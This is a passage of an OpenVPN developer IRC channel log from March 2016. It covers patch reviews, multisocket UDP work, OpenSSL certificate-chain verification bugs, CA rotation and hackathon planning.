03/10 tls_serial in hex... that looks like "we have this in one of our branches already" 02:46 <@syzzer> yes, I was surprised by that too 02:57 <@syzzer> oh, and I totally forgot about the FD_SET patch. I'll dig that one up 03:21 <@cron2> haha :) 04:56 < m0hm0h> so it seems that when I modify packets that pass the VPN server's TUN-interface, they are sent out of eth0-interface with the wrong source address. the source address is the VPN client's address (10.8.0.6) rather than the IP address of the eth0-interface. this is likely the cause why the packets don't get routed all the way to the Internet endpoint. Am I doing something that prevents OpenVPN correctly translating the IP headers (the source address)? 04:59 <@cron2> m0hm0h: why do you expect OpenVPN to "correctly" translate the IP address? 05:00 <@cron2> if you want NAT/masquerading, configure NAT/masquerading on the point in the network where you want that, using Linux iptables... openvpn's function is to transport packets where they couldn't otherwise get to, not to rewrite them 05:01 < m0hm0h> yes, but the thing that confuses me is that the packets routed perfectly well - unless I happen to touch the TCP headers when it is passing the TUN-interface -_- 05:01 < m0hm0h> ** are 05:03 < m0hm0h> am I missing something fundamental here 05:08 <@cron2> it seems your setup is too complicated to start with - without NAT, for example 05:09 <@cron2> possibly your modified packet upsets the NAT that you are using (like, because the checksum is indeed broken) 05:10 < m0hm0h> I do have iptables performing NAT. the traffic is flowing perfectly, unless I happen to touch a TCP segment's headers in the TUN interface. hmm.. 05:10 < m0hm0h> so I should dig out what iptables says 07:25 < m0hm0h> well, iptables logs the packets that end up having the wrong source address just like all other packets, including those that have the right source adddress. argh -_- 07:47 < m0hm0h> even having a specific snat directive to chang[Ce the source address does not work 08:09 <@d12fk> plaisthos: do you know the internals about packet scheduling 08:09 <@d12fk> i somehow got stuck with multisocket udp 08:10 <@d12fk> had to adjust the patch so udp doesn't use the tcp codepath, because it made the instances listen, which broke the listening udp socket 08:10 <@d12fk> now i have weird timing issues instead 08:11 <@d12fk> handshake takes longer than 60 seconds, if i manually remove the epoll_wait timeout it still takes ~50 seconds 08:11 <@d12fk> something's broken and i have not figured out what 08:43 <@plaisthos> d12fk: no, not really :/ 11:02 < m0hm0h> isn't that c->c2.to_link in process_outgoing_link() supposed to contain just.. IP packets, that are sent out? I'm getting something else, not IP packets -_-, BPTR (&c->c2.to_link) with size BLEN (&c->c2.to_link) 11:39 <@plaisthos> m0hm0h: udp payloads 11:39 <@plaisthos> oh 11:39 <@plaisthos> sorry 11:39 <@plaisthos> ignore my comment 11:40 <@plaisthos> m0hm0h: yes that is openvpn buffer structure 11:48 < m0hm0h> yeah.. I'm writing them all out and going through them with scapy, but the output doesn't make any sense 11:52 < m0hm0h> I'm intercepting just before the statement "size = link_socket_write( ... )" 12:32 < m0hm0h> isn't it like this: you cast the buffer into an ip header, then see if it's a tcp segment.. and dig in. 12:38 <@cron2> the casting is just to make access more convenient, but does not change the bytes 12:49 < m0hm0h> am I doing something idiotic around lines 240-250? http://pastebin.com/9Qg8Qhgn 12:50 < m0hm0h> except that the ip header's length may vary 12:50 <@cron2> right, if there are options present 12:51 < m0hm0h> but the minimum is still 20 bytes 13:05 < m0hm0h> somehow I'm unable to treat the buffer in process_outgoing_link() as an IP packet with sense-making values 13:12 < m0hm0h> by the way, is it possible to get some real support here if it comes to that, not just pro bono? 13:12 <@cron2> sort of 13:13 <@cron2> both plaisthos and I can do paid openvpn work, so "yes" (and I think jjk or syzzer might do as well) 13:13 <@cron2> the problem is that we're all totally busy with normal paid-for work plus for-free openvpn work plus "family life" stuff - so it might just not be possible to find time 13:14 * cron2 has a huge heap of patches for openvpn on his review-and-merge list... 13:14 < m0hm0h> yeah, I understand. but at least there's that possibility.. I've a real problem with the window size modifications (and getting the packets properly passed on to Internet)) 13:15 <@cron2> understood 13:15 <@cron2> I'm just saying that even if I'm willing and capable, it might take two weeks or so to find time - and as I'm aware of my work level, I point it out right away 13:17 < m0hm0h> yeah, sure.. the schedule wouldn't be strict, I've to get back to this thing after tomorrow though, with some more answers --- Day changed Fri Mar 04 2016 03:31 <@plaisthos> syzzer: So, I have been thinking about inlining crl-file 03:31 <@plaisthos> I am also one the ones who said that inlining crl does not make much sense 03:32 <@plaisthos> I now got the problem that openvpn connect suports it, people are using it 03:32 <@plaisthos> and using non inline crl files on mobile phones is a *@#! in the ass 03:37 <@syzzer> plaisthos: I'm not opposed to it, so if you send a patch, I will review :) 03:37 <@plaisthos> syzzer: ah good to know :) 04:10 <@cron2> so many patches... 04:32 <@plaisthos> cron2: :P 07:53 <@ecrist> plaisthos: why would a client want the CRL? 07:53 <@ecrist> I would think it would be better for the openvpn client to support OCSP or the other thing 07:54 <@ecrist> if it's listed in the server cert. 07:54 <@ecrist> or, are people using mobile as an openvpn server? 07:57 <@syzzer> ecrist: so that the client doesn't connect to servers that use a compromised cert? 07:58 <@ecrist> yeah, so supporting an in-line CRL is kinda dumb, I think. 07:59 <@syzzer> the problem with the whole crl/ocsp thing is that people use it in a 'soft-fail' mode anyway, where they'll happily connect if they don't get an OCSP response/the CRL is missing/the CRL is expired/... 07:59 <@syzzer> which makes the entire thing worthless 07:59 <@ecrist> just as worthless as an in-line CRL 08:35 <@cron2> mattock: I think there is a misunderstanding here regarding "what the iservice will do for you" 08:35 <@cron2> mattock: *any* user can use it to start configs from \program files\openvpn\config 08:35 <@cron2> but only admin users can use it to start arbitrary config files (like, from their own profile directory) 08:48 <@ecrist> cron2: Could it be made a setting to allow the admin to enable user vpn configs? 09:07 <@d12fk> plaisthos: there? 09:19 <@cron2> ecrist: put user into "openvpn admin" group -> user can run their own configs, done 09:19 <@cron2> all there, except for the installer bits 09:19 <@ecrist> Ah, that's perfect. 09:19 <@ecrist> That allows big IT depts to do a thing globally for different user classes. 09:23 <@ecrist> The other big-deal missing feature for corporate environments is the ability to push new configurations and certificates from the server to the clients. 09:28 <@plaisthos> d12fk: yes 09:29 <@d12fk> plaisthos: i found the culprit 09:31 <@d12fk> in io_wait_dowork socket_set is called with a strange arg 09:31 <@d12fk> this somehow comes up in multi_tcp_process_io and matches the first if clause 09:32 <@d12fk> (for udp at least, tcp is probably setting it again in multi_tcp_set_global_rw_flags) 09:33 <@d12fk> now I wonder why it is set this way? 10:29 <@plaisthos> lets see 10:30 <@plaisthos> my io_wait_dowork does not have a socket_set 10:30 <@plaisthos> oh wrong place 10:33 <@plaisthos> hm 11:22 <@d12fk> mindbending =) 11:37 <@plaisthos> yeah I have to invest a lot more time to understand that stuff again 11:56 <@d12fk> currently i think it would be best to have io_wait_dowork pass a valid arg in the udp case, which identifies the actual udp listening socket instead of something random 11:58 <@d12fk> ideally it would pass the same arg as in the call to socket_set_listen_persistent() (MULTI_SOCKET_N + i) 11:58 <@d12fk> then it should work 11:59 <@d12fk> will hack a proof of concept so i have a restful weekend and then call it a day 12:00 <@d12fk> will add a event_identifier to struct link_socket 12:00 <@d12fk> since the link socket is passed on to the mi->context.c2.link_socket that better work 12:04 <@d12fk> and it better not break tcp as well o_O 12:12 <@d12fk> ^ this has no semantics to me, anyone? 12:12 <@d12fk> /* These shifts all depend on EVENT_READ and EVENT_WRITE */ 12:13 <@d12fk> it's in io_wait_dowork above socket_shift 12:23 <@d12fk> ok, i get it... it is used later as e->arg to compute the shift for setting c->c2.event_set_status 12:24 <@d12fk> is that why it is scary to dig in the general socket code area of openvpn? 12:48 * cron2 considers d12fk more brave than the rest of us 12:49 <@cron2> (iow - I looked briefly into multi-socket a few years ago, and got totally lost in the maze of mudp.c, mtcp.c, socket.c 12:53 <@d12fk> yeah it really is a code maze 12:54 <@d12fk> i thought i had understood socket programming faily well, but what james built around it is beyond my experience 12:56 <@d12fk> anyways pos code failed to work, calling it a wekk 12:56 <@d12fk> *poc 12:56 <@d12fk> **week 12:57 <@dazo> seems like d12fk needs a weekend now .... :) 13:27 <@cron2> so. longest comment ever, in #662. I want an award as well! 13:33 * ecrist gives cron2 a star. 13:35 <@cron2> .oO(and James really doesn't do manpages very well...) 13:36 <@ecrist> drat, I can't tag comments 13:36 <@cron2> syzer: 05/10...07/10 very much looks like "yours" --- Day changed Sat Mar 05 2016 02:39 <@syzzer> cron2: yes, I'll review those 08:33 < valdikss> Is PolarSSL build broken? 08:33 < valdikss> *building with PolarSSL* 08:33 < valdikss> checking for library containing ssl_init... no 08:33 < valdikss> configure: error: Could not find PolarSSL/mbed TLS. 08:34 < valdikss> community/mbedtls 2.2.1 08:52 <@plaisthos> I am not sure if syzzer already send the patches for mbedtls 2.x 08:53 < valdikss> plaisthos: yep, I figured out that building works with 1.x 08:54 < valdikss> So it seems that OpenSSL backend is a bit broken when verifying server certificate and my genious plan is ruined. 08:55 <@plaisthos> :/ 08:55 <@plaisthos> polarssl works? 08:56 < valdikss> plaisthos: yes, with chained certificates which are pushed from server. And OpenSSL don't. 08:56 < valdikss> plaisthos: (read "Pushing multiple certificates from server" in devel) 08:57 <@plaisthos> valdikss: I know the thread :) 08:57 <@plaisthos> I even repliad ;) 08:57 <@plaisthos> and a new patch for syzzer d: 08:57 < valdikss> plaisthos: oh I see 08:58 < valdikss> plaisthos: I'll try to make a patch. Can't figure the code. 08:58 < valdikss> plaisthos: it *should* work by default, but it doesn't. Probably something-something with verify_callback. 08:58 <@plaisthos> yeah 08:58 <@plaisthos> I was talkign about the patch I just sent to ml 08:58 <@plaisthos> and about you making a patch :) 08:58 <@syzzer> valdikss: who refuses to connect? client or server? 08:59 < valdikss> plaisthos: client 08:59 <@syzzer> with what error/ 08:59 < valdikss> plaisthos: OpenVPN client behaves like the intermediate is not pushed, but it is. 08:59 < valdikss> oh, syzzer 08:59 < valdikss> syzzer: 08:59 < valdikss> Sat Mar 5 17:52:07 2016 us=385313 VERIFY ERROR: depth=0, error=unable to get local issuer certificate: CN=bg1.pvpn.pw 08:59 < valdikss> Sat Mar 5 17:52:07 2016 us=385583 OpenSSL: error:14090086:SSL routines:ssl3_get_server_certificate:certificate verify failed 09:00 < valdikss> syzzer: I've made a certificate dumper and the intermediate is indeed there, which is confirmed by successfully connecting with PolarSSL build and with OpenVPN Connect for Android (which is also built with PolarSSL) 09:00 <@syzzer> that's a bit surprising. must be some of our own code that is at fault 09:01 < valdikss> syzzer: yeah, probably verify_callback. I'll try to investigate it. 09:01 <@syzzer> yes, very likely 09:04 < valdikss> There are probably more bugs, like with EKU checking 09:05 < valdikss> It seems that OpenSSL checks EKU by itself and OpenVPN re-checks it too. If you try to connect to the server which provides client certificate (TLS Client Authentication in EKU), OpenVPN will refuse to connect to it even if OpenVPN's EKU check is disabled. 09:11 <@plaisthos> while doing my crl patch I found that polarssl 2.x has a 1.3 compatibility layer 09:11 <@plaisthos> syzzer: or do you want to migrate on the new apis? 09:11 <@syzzer> plaisthos: the compatibility layer is not enough for us 09:12 <@syzzer> we need to use the new API in a number of places 09:12 <@syzzer> so I went for all-new-API 09:12 <@plaisthos> ah okay 09:13 <@plaisthos> let me guess we are not typical "lets do a standard ssl secured tcp session" consumer the 1.3 compat api is aiming for 09:15 <@syzzer> indeed, we use too many 'advanced' features 09:16 <@syzzer> but they also just made a fundamental API change, separating 'global SSL context' from 'connection context' (like openssl already did) 09:25 < valdikss> Can somebody point me to the code where the certificates from the remote connection are loaded? 09:28 <@syzzer> valdikss: Aren't those just supplied to verify_callback by the crypto lib? 09:28 < valdikss> syzzer: yes, but I'm looking for a code which is executed earlier. Like, on the handshake moment. 09:28 < valdikss> syzzer: when certificates supplied by server are loaded to the openssl 09:29 <@syzzer> hm, I think that is all in the ssl lib 09:29 < valdikss> syzzer: it seems that only one certificate is loaded to the openssl, no the whole chain 10:36 <@cron2> plaisthos: the chunk related to "--crl-verify directory" looks like "reformatting to be more in line with the next check", right? 10:38 <@plaisthos> yes 10:39 <@plaisthos> no 10:39 <@plaisthos> no actually I added the CHKACC_INLINE first to the dir line 10:40 <@plaisthos> and then forgot to undo the reformatting 10:41 <@plaisthos> the patch is basically addition of 2 lines 10:41 <@plaisthos> and passing around an inline arg all over the place ;) 10:42 <@cron2> yeah, I was just wondering about that particular line - and "yes .. no .. no actually..." looks very much like it :) 10:42 <@cron2> I leave the crypto review bits to syzzer... too lazy today 11:00 < valdikss> Don't know how to fix it 17:02 <@vpnHelper> RSS Update - tickets: #666: Interactive service does not stop if openvpn sessions are running <https://community.openvpn.net/openvpn/ticket/666> 23:16 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 248 seconds] 23:23 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 23:23 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Sun Mar 06 2016 02:36 <@cron2> plaisthos: one of your users is sending *me* their logs... no explanation whatsoever, just a mail that says "ICS OpenVPN log file" and a log file it has... 02:52 <@vpnHelper> RSS Update - gitrepo: Handle localized Administrators group name in windows <https://github.com/OpenVPN/openvpn/commit/6370f703573c6284e0b3c5935ab204285cdda8e6> 03:21 * cron2 pokes syzzer regarding AEAD failure on old openssl's... ("ubuntu 1204 buildslave barfing at me") 03:23 <@vpnHelper> RSS Update - gitrepo: Fix interactive service ignoring stop command if openvpn is running <https://github.com/OpenVPN/openvpn/commit/239d09938b300f8eafa12bfb8c43373f0215f7bd> 03:31 <@syzzer> cron2: yes, thanks, *that* was the todo I could not think of yesterday 03:31 <@cron2> haha :) 03:32 * cron2 reads MSDN documentation and learns about Windows APIs... :-) 03:34 <@syzzer> that's another way to spend your time... ;) 03:34 <@cron2> well, Selva is working hard to make the iservice stuff really good, someone needs to review the patches (and the APIs are surprisingly sane) 03:36 <@syzzer> yes, this is one of the things that makes openvpn much more useful 03:37 <@syzzer> patch sent :) 03:40 <@cron2> that was quick :) 03:40 <@vpnHelper> RSS Update - gitrepo: Use appropriate buffer size for WideCharToMultiByte output in interactive.c <https://github.com/OpenVPN/openvpn/commit/3654d953eb0bf40fb8c9e1fbaa3de1dd898dcbab> 03:40 <@syzzer> patch was sitting in my tree, just needed to dig it up and see if I still agree with it :) 03:46 <@cron2> Testing cipher AES-128-GCM... OK 03:46 <@cron2> Testing cipher AES-192-GCM... OK 03:46 <@cron2> Testing cipher AES-256-GCM... OK 03:46 <@cron2> \o/ :) 03:47 <@cron2> PASS: t_lpback.sh 03:48 <@syzzer> :) 03:50 <@cron2> syzzer: any opinion on plaisthos' inline crl? 03:51 <@vpnHelper> RSS Update - gitrepo: Make AEAD modes work with OpenSSL 1.0.1-1.0.1c <https://github.com/OpenVPN/openvpn/commit/13de0103ea361e2be24ab8b16f5be269c6ab7496> 03:51 <@syzzer> yes, I noticed the pure formatting change too, remaining code 'looks good', but wanted to test it first 03:52 <@syzzer> but git-am was screaming when I tried to apply to my local master (which might be due to extra patches in my own branch) 04:18 * cron2 wonders if the FD_SET patch should go into 2.3 right away (so, theoretically, 2.3.11 is one of the "more explosive" versions again)... 04:19 <@cron2> OTOH most platforms should use poll() automatically anyway 04:21 <@syzzer> as long as we put it into the same release as the pol() patch, I think it should be fine 04:22 <@syzzer> plaisthos: sorry, compiler refused your patch, so I went crazy with nitpicking too :p 04:38 * cron2 has a small complaint @ syzzer... 04:39 <@cron2> crypto.c: In function 'openvpn_decrypt_aead': 04:39 <@cron2> crypto.c:455: error: 'EVP_CTRL_GCM_SET_TAG' undeclared (first use in this function) 04:40 <@cron2> this killing all the "even older" platforms... 04:40 <@cron2> obsd49.ov$ openssl version 04:40 <@cron2> OpenSSL 1.0.0a 1 Jun 2010 04:41 <@syzzer> gah, of course... 04:42 * cron2 is confused - shouldn't openvpn_decrypt_aead() be conditional on HAVE_AEAD (or whatever it is)? 04:43 <@cron2> which is why I did not check in detail, I assumed that this code would only be compiled on "recent enough" OpenSSL libraries, so checking for "too old" would not be needed 04:46 <@syzzer> no, all the backend functions are conditional, but this one is not. It just can't ever be called, because you can't select an AEAD cipher. 04:47 <@syzzer> I think I'll just wrap the aead encrypt/decrypt functions in an #ifdef HAVE_AEAD_CIPHER_MODES 05:19 <@cron2> wrap the function body, or the whole function plus all callers? 05:23 <@syzzer> function body 05:24 <@syzzer> I don't like typing preprocessor stuff ;) 05:55 * cron2 doesn't particularily like reviewing #ifdef stuff either :) 06:14 * cron2 could push the FD_SET patch now, but does not want a zillion buildbot fails... *hint hint* 06:21 <@syzzer> cron2: check your mail ;) 06:22 <@cron2> + ASSERT (0); 06:22 <@cron2> + return false; 06:22 <@cron2> "in case we survive that assert, tell the world it did not go well!" :-) 06:23 <@syzzer> "make sure static analysis tools don't complain" 06:23 <@syzzer> and/or compilers screaming "your promised to return a bool!' 06:23 <@cron2> right 06:24 <@syzzer> but have to leave now - back tonight if there are more questions / I broke more stuff... 06:25 <@cron2> enjoy 06:44 <@vpnHelper> RSS Update - gitrepo: Only include aead encrypt/decrypt functions if AEAD modes are supported <https://github.com/OpenVPN/openvpn/commit/71d89065ad56dda19996deeeffeddcea632b8349> || hardening: add safe FD_SET() wrapper openvpn_fd_set() <https://github.com/OpenVPN/openvpn/commit/e0b3fd49e2b5bba8cb57419a13cb75b56ac91b94> 10:52 <@plaisthos> cron2: why? 10:53 <@plaisthos> cron2: I mean, I will just send this guy my log? 11:35 <@cron2> plaisthos: this is what I asked him, and in return, he sent me his full config with key and certificates and all... 11:35 <@cron2> your users are *really+ strange 11:44 <@plaisthos> cron2: I agree 11:44 <@plaisthos> but that is one of the strangest 12:41 <@vpnHelper> RSS Update - gitrepo: Add support for block-outside-dns through the interactive service <https://github.com/OpenVPN/openvpn/commit/2282b1be7968ef44accde705ccc64addab6d77ba> || Refactor and move the block-outside-dns code to a new file (block_dns.[ch]) <https://github.com/OpenVPN/openvpn/commit/6a33a34dee8f3b574275d8df1635fb550ec054f3> 12:45 <@cron2> so... windows side of things is proceeding nicely... 13:32 <@syzzer> plaisthos: looks like the CHKACC_INLINE flag disappeared from your patch? 13:34 <@plaisthos> syzzer: Arghs 13:34 <@syzzer> hehe 13:34 <@syzzer> if you are sending a new patch, could you also fix the alignment of the doxygen? 13:34 <@plaisthos> sure 15:41 <@cron2> hrmph, not only so many patches now, but also so many ACKs... lots of work for me :) 18:13 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 244 seconds] 18:34 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 18:34 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Day changed Mon Mar 07 2016 02:02 <@cron2> mornin' 03:58 <@plaisthos> morning 04:01 <@cron2> mattock: HTTPS certificate of swupdate.openvpn.net expired on 03/05/2016 07:22 PM. (mail on openvpn-users) 04:18 <@plaisthos> *sigh* Reports from users indicate that tethering is broken on Samsung devices when VPN is connected 04:33 <@cron2> "ok, google, learn how to do VPN" 04:37 <@plaisthos> It is just Samsung devices :/ 04:37 <@plaisthos> Other devices just share you non VPN mobile connection 04:46 <@syzzer> plaisthos: I'd argue that both are broken... 04:47 <@cron2> at least having an option "use VPN for hotspot" would be very useful 04:48 <@syzzer> cron2: the other way around, preferrably ;) 05:57 <@plaisthos> ios does it the same way iirc 05:57 <@plaisthos> and for multi user tablet where each user has his/her own VPN, there is no clear semenatics which VPN to use for the hotsop 06:25 <@cron2> I don't really believe in concurrent multiuser android, tbh... 06:25 <@plaisthos> cron2: :) 06:26 <@plaisthos> To be honest, I did not test that in ages 06:26 <@plaisthos> my guess is that they also broken on Samsung :D 07:01 <@cron2> so where's mattock today? 07:01 <@mattock> here 07:01 <@cron2> whee! 07:01 <@cron2> so, meeting today? 07:04 <@mattock> you tell me :D 07:04 <@mattock> I probably have tons of pull requests to look through first 07:05 <@cron2> indeed you have :-) - and quite a few tracs. So have I, patches on -devel and more tracs... 07:05 <@cron2> eventually we should re-start the meeting thing to sort out 2.4... but a few things are still missing 07:06 <@cron2> oh, and reports from the moneyz departments, of course :-) 07:06 <@cron2> and start planning Hackathon 2016 07:11 <@plaisthos> Lev wanted to ask if we can raid Helsinki, right? 07:11 <@cron2> yes 07:24 <@syzzer> I might opt for sports tonight, unless there is something you really need me for 07:25 <@mattock> I have a pretty tight schedule until Selva stops sending useful patches to openvpn and openvpn-gui :D 07:25 <@mattock> I've been mostly reviewing his pull requests and testing on Windows 07:25 <@mattock> surprisingly time-consuming 07:32 <@cron2> mattock: spent half my day yesterday reading windows API documentation to merge Selva's patches :-) 07:35 <@mattock> :D 07:39 <@cron2> ok, this sounds like everyone is already busy, so no formal meeting... any news from the monetary department? 07:43 <@mattock> not really, except Derek from OSTIF.org contacted me, and they acknowledged that the kickstarter had failed miserably 07:43 <@mattock> and they have a new strategy which is much more sane 07:43 <@mattock> plus they were on the same page with my ideas _why_ the kickstarter was such a failure 07:43 <@cron2> what about being able to wire in money like valdikss asked for? 07:44 <@mattock> well that one is on the level of "the company can take the money" 07:44 <@mattock> however, somebody would have to manage the money once it arrives 07:45 < valdikss> mattock: just set up bitcoin and flattr or something, and decide what to do and how to manage it later 07:46 <@mattock> well bitcoin might do it, because it's not tied to any existing bank accounts, credit cards, etc. 07:47 <@cron2> eventually it needs conversion back, and then it is... 07:47 <@mattock> not necessarily, but quite often yes 07:47 <@mattock> you can actually buy stuff with bitcoins in fairly many places 07:47 <@mattock> you used to be able to buy vegan burgers with bitcoins in my home town 08:06 <@cron2> who would want to buy vegan burgers when you can have proper dead cow and vodka in helsinki? 08:17 <@mattock> I would, because they're better than meat burgers in general 08:17 <@mattock> but I would also buy vodka 08:17 <@mattock> no cows were harmed in the production of vodka afaik 08:20 <@mattock> cron2: one added annoyance/benefit with Selva's patches is that he has forced me to really learn Git 08:20 <@mattock> things like merging remote branches etc 08:21 <@mattock> btw. I think we should give him write access to OpenVPN-GUI repo 08:21 <@mattock> he has more than proven himself 08:21 <@mattock> that said, a mandatory review makes sense 08:40 <@ecrist> mmmmm, beef 09:20 <@syzzer> hm, donation in bitcoin, in that case we should reconsider Delft. The place we ate at Friday accepts bitcoin ;) 12:28 <@vpnHelper> RSS Update - tickets: #667: OpenVPN's OpenSSL backend does not support certificate chain pushed from server <https://community.openvpn.net/openvpn/ticket/667> 12:32 < valdikss> I would be grateful if somebody helps me with this. 13:06 * ecrist marks it "wontfix" 13:06 <@ecrist> :D 13:46 <@cron2> only syzzer and plaisthos understand "talk to ssl library", and even syzzer has regular fights with OpenSSL... --- Day changed Tue Mar 08 2016 00:48 < lev__> plaisthos: yep, would be nice to have hackathon in Hki (autumn?), let me confirm premises availability 01:52 <@cron2> lev__: cool :-) 03:01 <@d12fk> where or what is hki 03:02 <@d12fk> ^oh helsinki; +1 03:38 <@mattock> Helsinki would be most convenient for me :) 04:04 <@syzzer> yep, I would definitely like to visit 'Hki' 04:05 <@cron2> at some point we should make this a week-long event and stop bothering with patch reviews and stuff, and instead just enjoy sightseeing :-) *duck* 04:06 <@syzzer> valdikss: I will probably help you with the certificate chain problems, because it sounds interesting and useful, but there's some other stuff that needs my attention first 04:07 < valdikss> syzzer: cool, thanks. That's definitely not urgent/ 04:17 <@cron2> when you're done with making it work, a wiki article how such a CA rotation is done would be very highly appreciated 04:17 <@cron2> (step-by-step explanation with openssl example commands) 04:17 * cron2 will eventually have to do that as well, and is totally clueless 04:18 <@cron2> valdikss: how do you handle client certificates signed by the new CA ("new clients")? also sign with old CA? 04:19 < valdikss> cron2: no, just add both CAs in a ca.crt on a server side. This way server can authenticate clients from both CAs. 04:19 <@syzzer> cron2: nope, by signing the "new CA" with the "old CA" you obtain a trust chain 04:19 <@cron2> valdikss: ah! (and see, we need to document this :-) ) 04:20 <@syzzer> the thing I mentioned is only needed when you need a migration path for servers too 05:30 < wiz> valdikss: haha I know this issue :P 05:31 < valdikss> wiz: really? Did you solve this? 05:32 < wiz> PIA patched their ovpn to allow the user to request which CA they want, but for clients running stock ovpn without the patch, they fallback to a 1024 bit CA 05:32 < wiz> so they want to do what you are doing to migrate to a 4096 bit CA 05:36 < valdikss> wiz: well, that's a not really good workaround 05:37 < wiz> yeah I was trying to figure out how to get ovpn to accept a cross-signed CA, but never got it working https://github.com/jmaurice/openssl-cross-sign-CAs 05:37 <@vpnHelper> Title: GitHub - jmaurice/openssl-cross-sign-CAs (at github.com) 05:37 <@plaisthos> yeah that patch is strange 05:37 <@plaisthos> and syzzer agrees with me :) 05:37 <@plaisthos> (https://www.privateinternetaccess.com/forum/discussion/9093/pia-openvpn-client-encryption-patch) 05:37 <@vpnHelper> Title: PIA OpenVPN Client Encryption Patch - PIA (at www.privateinternetaccess.com) 05:38 < valdikss> wiz: hah, you needed just to add two CAs in the configuration file for some time and then remove the old one 05:39 < wiz> on the server? 05:40 < valdikss> wiz: and on the client too. 05:40 < wiz> PIA has no way to change the user configuration files 05:40 < wiz> this is for their users running stock ovpn 05:41 < wiz> the users running their official client request a 2048 bit CA using the patch 05:41 < valdikss> wiz: what do you mean by 'request'? Server doesn't send CA. 05:42 < wiz> it does, see above patch 05:42 < wiz> linked by plaisthos 05:42 < valdikss> wiz: what is this for and how do you validate it? 05:43 < wiz> it's a feature PIA added so the user can choose what cipher and key algorithm they want 05:43 < wiz> the client has all certs, and validates them depending on the user setting 05:45 < wiz> if you can hack this feature, maybe you can win another bug bounty from PIA ;) 05:45 <@plaisthos> iirc the clients send a hash of the ca certificate to server 05:45 <@plaisthos> and the server responds to it 05:46 <@plaisthos> it is not a nice way to do it but should be safe and works 05:46 <@plaisthos> and at some time it is probably cheaper to just give him a job instead of paying bounties again and again :p 05:47 < wiz> iirc, we offered to hire valdikss at PIA but he declined :P 05:47 < wiz> maybe he has accepted since I left PIA tho? 05:48 < valdikss> ;) 07:20 <@ecrist> PIA? Pain In Ass? 07:29 <@plaisthos> private internet access 07:56 <@ecrist> ah 08:48 <@d12fk> plaisthos: ok i give up 08:49 <@d12fk> i came to the conclusion that the current approach is wrong (due to lack o funderstanding on my side) 08:50 <@d12fk> instead i'll try to have a super loop in multi.c:tunnel_server 08:51 <@d12fk> tcp stays the way it is and udp gets an additional top context for every listening socket and services clients just like now for each of those 08:51 <@d12fk> a smarter guy than me can then combine the two codepaths later 08:52 <@d12fk> accepted tcp in the same code as single socket udp is just not going to work with much restructuring of the mtcp code 08:52 <@d12fk> and i'm nt the one who's brave enough =) 09:15 <@plaisthos> I believe that :) 09:15 <@plaisthos> I mean I did not get it running 09:16 <@d12fk> new approach look doable 09:17 <@d12fk> maybe some complications in getting all the event_sets to the top event_wait, but i'd rather solve than this =) 09:18 <@plaisthos> hehe 09:54 <@d12fk> the timeout case is also interesting because every multi_context will have its own erliest wakeup set 09:55 <@d12fk> probably will just signal the one who had the smallest timeout 11:21 <@d12fk> hm it's actually more work 11:22 <@d12fk> management callback need to work across all multi_contexts 11:22 <@d12fk> ippool needs to be shared 11:25 <@d12fk> and probably other stuff 11:40 <@cron2> I'm not sure if multiple toplevel context are a good idea 12:12 <@d12fk> cron2: weel, we need to split multi_context into multi_context_0 and multi_context_1 and share _0 for every _1, that way we could manage to share the shared things in a good way 12:15 <@d12fk> tun thing come to mind as another "thing" 12:17 <@d12fk> of course mtcp and mudp could be united as well, but that would mean to get two substanially different approches together 12:23 <@cron2> "ditch both and redo in a sane way"? 12:24 <@d12fk> then you would have to redo all the way until forward.c and that would affect p2p as well i suppose 12:25 <@d12fk> or would you... don't know really 12:26 <@d12fk> just a feeling, but i have no complete understanding of what mtcp code does so it work with two event_set in multi.mtcp and the contexts 12:29 * cron2 has no real understanding of the code, but it looks much too complex for doing basically "a number of sockets, some of them need to be read() from, some need accept()" 12:30 <@cron2> and those with a read() having a flag for "peer is determined by peer IP" vs. "this is a single-peer socket, so we know the peer" 13:58 <@d12fk> agreed, but the code is probably forged around io_wait() which has been there befor efrom p2p and hence it is like it is (at least that's what my conclusion is) --- Day changed Wed Mar 09 2016 06:32 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 06:32 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 240 seconds] 06:35 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:35 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 06:37 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 06:37 -!- mode/#openvpn-devel [+o dazo] by ChanServ 12:24 < valdikss> https://gist.github.com/ValdikSS/82002063e2b5e9f16427 12:24 <@vpnHelper> Title: OpenVPN speed test · GitHub (at gist.github.com) 12:35 <@ecrist> neat. usually you use a lower-case b for bits, and an upper-case B for bytes (header says 1.8Gbit/s, could have been 1.8Gbps) 12:40 < valdikss> ecrist: you're right. Updated. 12:40 < valdikss> So this is rather slow. Note that encryption and signature is disabled. 12:41 < valdikss> And it's interesting that TCP is so faster than UDP 12:41 <@ecrist> I assume no TCP checksum offloading and other things? 12:41 < valdikss> Probably UDP_reliable implementation does not work with very low latencies that well 12:42 < valdikss> ecrist: good question. I assume virtio doesn't support it. Let's check. 13:01 < valdikss> ecrist: somewhat similar result https://gist.github.com/ValdikSS/82002063e2b5e9f16427 13:01 <@vpnHelper> Title: OpenVPN speed test · GitHub (at gist.github.com) 13:03 < valdikss> Let me increase the buffer sizes 13:03 < valdikss> Because there are retries with udp 13:11 < valdikss> ecrist: updated 13:15 < valdikss> Just to mention, increasing tunnel MTU and disabling (or increasing) mssfix utilizes link fully 13:28 <@ecrist> yeah, particularly on a LAN, mtu can make a big difference 14:17 <@plaisthos> openvpn also does not use the extension for virtio 14:17 <@plaisthos> so the kernel has to compute the checksum and cannot set a flag "this packet is valid" when you comminicate between two vms 14:43 <@cron2> *grumble* my new and shiny peering router is lying to me, and claims certain peers we do not send packets to ("do not show up in mac accounting") 16:17 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 250 seconds] 16:20 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 16:20 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 16:34 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 264 seconds] 18:48 